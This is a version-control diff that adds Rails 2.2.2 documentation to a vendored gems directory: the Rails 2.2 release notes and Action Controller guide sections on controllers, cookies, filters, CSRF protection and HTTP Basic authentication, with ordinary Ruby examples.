+* Major contributions from link:http://advogato.org/person/fxn/diary.html[Xavier Noria] and link:http://izumi.plan99.net/blog/[Hongli Lai].
+* More information:
+ - link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]
+ - link:http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch[Help improve Rails documentation on Git branch]
+
+== Better integration with HTTP : Out of the box ETag support
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+[source, ruby]
+-------------------------------------------------------
+class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+-------------------------------------------------------
+
+== Thread Safety
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+config.threadsafe!
+-------------------------------------------------------
+
+* More information :
+ - link:http://m.onkey.org/2008/10/23/thread-safety-for-your-rails[Thread safety for your Rails]
+ - link:http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core[Thread safety project announcement]
+ - link:http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html[Q/A: What Thread-safe Rails Means]
+
+== Active Record
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+=== Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
+
+* Lead Contributor: link:http://adam.blog.heroku.com/[Adam Wiggins]
+* More information:
+ - link:http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/[DDL Transactions]
+ - link:http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/[A major milestone for DB2 on Rails]
+
+=== Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
+
+[source, ruby]
+-------------------------------------------------------
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+-------------------------------------------------------
+
+* Lead Contributor: link:http://blog.nicksieger.com/[Nick Sieger]
+* More information: 
+ - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools[What's New in Edge Rails: Connection Pools]
+
+=== Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+[source, ruby]
+-------------------------------------------------------
+class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+-------------------------------------------------------
+
+* More information:
+ - link:http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions[What's New in Edge Rails: Easy Join Table Conditions]
+
+=== New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+==== +find_last_by_<attribute>+
+
+The +find_last_by_<attribute>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
+	
+[source, ruby]
+-------------------------------------------------------
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+-------------------------------------------------------
+
+* Lead Contributor: link:http://www.workingwithrails.com/person/9147-emilio-tagua[Emilio Tagua]
+
+==== +find_by_<attribute>!+ 
+	
+The new bang! version of +find_by_<attribute>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
+	
+[source, ruby]
+-------------------------------------------------------
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+-------------------------------------------------------
+
+* Lead Contributor: link:http://blog.hasmanythrough.com[Josh Susser]
+
+=== Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) + at user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use + at user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
+
+* Lead Contributor: Adam Milligan
+* More information:
+ - link:http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/[Rails 2.2 Change: Private Methods on Association Proxies are Private]
+
+=== Other ActiveRecord Changes
+
+* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
+* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp. 
+* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
+* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
+
+== Action Controller
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+=== Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. 
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+-------------------------------------------------------
+
+This will enable recognition of (among others) these routes:
+
+-------------------------------------------------------
+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+-------------------------------------------------------
+
+* Lead Contributor: link:http://www.unwwwired.net/[S. Brent Faulkner]
+* More information: 
+ - link:http://guides.rails.info/routing/routing_outside_in.html#_nested_resources[Rails Routing from the Outside In]
+ - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes[What's New in Edge Rails: Shallow Routes]
+
+=== Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :collection => { :search => [:get, :post] }
+-------------------------------------------------------
+
+* Lead Contributor: link:http://brennandunn.com/[Brennan Dunn]
+
+=== Resources With Specific Actions
+
+By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+-------------------------------------------------------
+
+* Lead Contributor: link:http://experthuman.com/[Tom Stuart]
+
+=== Other Action Controller Changes
+
+* You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.user_accept_header = true+.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
+* +render+ now supports a +:js+ option to render plain vanilla javascript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
+
+== Action View
+
+* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
+* The included Prototype javascript library has been upgraded to version 1.6.0.3.
+* +RJS#page.reload+ to reload the browser's current location via javascript
+* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
+
+== Action Mailer
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
+
+* More information:
+ - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts[What's New in Edge Rails: Mailer Layouts]
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+== Active Support
+
+Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
+
+=== Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+[source, ruby]
+-------------------------------------------------------
+def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+-------------------------------------------------------
+
+Memoization lets you handle this task in a declarative fashion:
+
+[source, ruby]
+-------------------------------------------------------
+extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+-------------------------------------------------------
+
+Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
+
+* Lead Contributor: link:http://joshpeek.com/[Josh Peek]
+* More information:
+ - link:http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization[What's New in Edge Rails: Easy Memoization]
+ - link:http://www.railway.at/articles/2008/09/20/a-guide-to-memoization[Memo-what? A Guide to Memoization]
+
+=== +each_with_object+
+
+The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+[source, ruby]
+-------------------------------------------------------
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+-------------------------------------------------------
+
+Lead Contributor: link:http://therealadam.com/[Adam Keys]
+
+=== Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+-------------------------------------------------------
+
+This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
+
+[source, ruby]
+-------------------------------------------------------
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+-------------------------------------------------------
+
+This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
+
+Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck[Daniel Schierbeck]
+
+=== Other Active Support Changes
+
+* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
+* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
+* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
+* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
+* +Enumerable#many?+ to encapsulate +collection.size > 1+
+* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
+* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
+
+== Railties
+
+In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
+
+=== +config.gems+
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* +config.gem _gem_name_+ in your +config/environment.rb+ file
+* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed or frozen
+* +rake gems:install+ to install missing gems to the computer
+* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
+* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
+* +rake gems:build+ to build any missing native extensions
+* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
+
+* Lead Contributor: link:http://github.com/al2o3cr[Matt Jones]
+* More information:
+ - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies]
+ - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems]
+
+=== Other Railties Changes
+
+* If you're a fan of the link:http://code.macournoyer.com/thin/[Thin] web server, you'll be happy to know that +script/server+ now supports Thin directly.
+* +script/plugin install <plugin> -r <revision>+ now works with git-based as well as svn-based plugins.
+* +script/console+ now supports a +--debugger+ option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
+* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+== Deprecated
+
+A few pieces of older code are deprecated in this release:
+
+* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
+* +render_component+ is deprecated. There's a link:http://github.com/rails/render_component/tree/master[render_components plugin] available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+[source, ruby]
+-------------------------------------------------------
+def partial_with_implicit_local_assignment
+  @customer = Customer.new("Marcel")
+  render :partial => "customer"
+end
+-------------------------------------------------------
+
+Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* +country_select+ has been removed. See the link:http://www.rubyonrails.org/deprecation/list-of-countries[deprecation page] for more information and a plugin replacement.
+* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
+* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
+* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
+* +String#chars+ has been deprecated in favor of +String#mb_chars+.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
+
+== Credits
+
+Release notes compiled by link:http://afreshcup.com[Mike Gunderloy]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/changelog.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/changelog.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/changelog.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17[Lighthouse ticket]
+
+* November 4, 2008: First release version by Tore Darrell

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/cookies.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/cookies.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/cookies.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+== Cookies ==
+
+Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
+
+[source, ruby]
+-----------------------------------------
+class CommentsController < ApplicationController
+
+  def new
+    #Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(:name => cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name
+        cookies[:commenter_name] = @comment.name
+      else
+        # Don't remember, and delete the name if it has been remembered before
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render :action => "new"
+    end
+  end
+
+end
+-----------------------------------------
+
+Note that while for session values, you set the key to `nil`, to delete a cookie value, you should use `cookies.delete(:key)`.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/csrf.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/csrf.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/csrf.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+== Request Forgery Protection ==
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+[source, ruby]
+-----------------------------------------
+<% form_for @user do |f| -%>
+  <%= f.text_field :username %>
+  <%= f.text_field :password -%>
+<% end -%>
+-----------------------------------------
+
+You will see how the token gets added as a hidden field:
+
+[source, html]
+-----------------------------------------
+<form action="/users/1" method="post">
+<div><!-- ... --><input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/></div>
+<!-- Fields -->
+</form>
+-----------------------------------------
+
+Rails adds this token to every form that's generated using the link:../form_helpers.html[form helpers], so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
+
+.Add a JavaScript variable containing the token for use with Ajax
+-----------------------------------------
+<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
+-----------------------------------------
+
+The link:../security.html[Security Guide] has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/filters.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/filters.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/filters.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,119 @@
+== Filters ==
+
+Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # Prevents the current action from running
+    end
+  end
+
+  # The logged_in? method simply returns true if the user is logged in and
+  # false otherwise. It does this by "booleanizing" the current_user method
+  # we created previously using a double ! operator. Note that this is not
+  # common in Ruby and is discouraged unless you really mean to convert something
+  # into true or false.
+  def logged_in?
+    !!current_user
+  end
+
+end
+---------------------------------
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the `before_filter` method:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+  before_filter :require_login
+
+end
+---------------------------------
+
+In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter` :
+
+[source, ruby]
+---------------------------------
+class LoginsController < Application
+
+  skip_before_filter :require_login, :only => [:new, :create]
+
+end
+---------------------------------
+
+Now, the +LoginsController+'s "new" and "create" actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+=== After Filters and Around Filters ===
+
+In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
+
+[source, ruby]
+---------------------------------
+# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+
+  around_filter :catch_exceptions
+
+private
+
+  def catch_exceptions
+    yield
+  rescue => exception
+    logger.debug "Caught exception! #{exception}"
+    raise
+  end
+
+end
+---------------------------------
+
+=== Other Ways to Use Filters ===
+
+While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+  before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) }
+
+end
+---------------------------------
+
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+  before_filter LoginFilter
+
+end
+
+class LoginFilter
+
+  def self.filter(controller)
+    unless logged_in?
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+
+end
+---------------------------------
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
+
+The Rails API documentation has link:http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html[more information on using filters].

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/http_auth.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/http_auth.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/http_auth.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+== HTTP Basic Authentication ==
+
+Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`.
+
+[source, ruby]
+-------------------------------------
+class AdminController < ApplicationController
+
+  USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
+
+  before_filter :authenticate
+
+private
+
+  def authenticate
+    authenticate_or_request_with_http_basic do |username, password|
+      username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD
+    end
+  end
+
+end
+-------------------------------------
+
+With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/index.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/index.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/index.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,40 @@
+Action Controller basics
+=======================
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+* Follow the flow of a request through a controller
+* Understand why and how to store data in the session or cookies
+* Work with filters to execute code during request processing
+* Use Action Controller's built-in HTTP authentication
+* Stream data directly to the user's browser
+* Filter sensitive parameters so they do not appear in the application's log
+* Deal with exceptions that may be raised during request processing
+
+include::introduction.txt[]
+
+include::methods.txt[]
+
+include::params.txt[]
+
+include::session.txt[]
+
+include::cookies.txt[]
+
+include::filters.txt[]
+
+include::verification.txt[]
+
+include::csrf.txt[]
+
+include::request_response_objects.txt[]
+
+include::http_auth.txt[]
+
+include::streaming.txt[]
+
+include::parameter_filtering.txt[]
+
+include::rescue.txt[]
+
+include::changelog.txt[]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/introduction.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/introduction.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/introduction.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+== What Does a Controller do? ==
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.
+
+For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see link:../routing_outside_in.html[Rails Routing from the Outside In].

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/methods.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/methods.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics/methods.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+== Methods and Actions ==
+
+A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.
+
+[source, ruby]
+----------------------------------------------
+class ClientsController < ApplicationController
+
+  # Actions are public methods
+  def new
+  end
+
+  # Action methods are responsible for producing output
+  def edit
+  end
+
+# Helper methods are private and can not be used as actions
+private
+
+  def foo
+  end
+
+end
+----------------------------------------------
+
+There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.
+
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of ClientsController and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new Client:
+
+[source, ruby]
+----------------------------------------------
+def new
+  @client = Client.new
+end
+----------------------------------------------
+
+The link:../layouts_and_rendering.html[Layouts & rendering guide] explains this in more detail.
+
+ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.

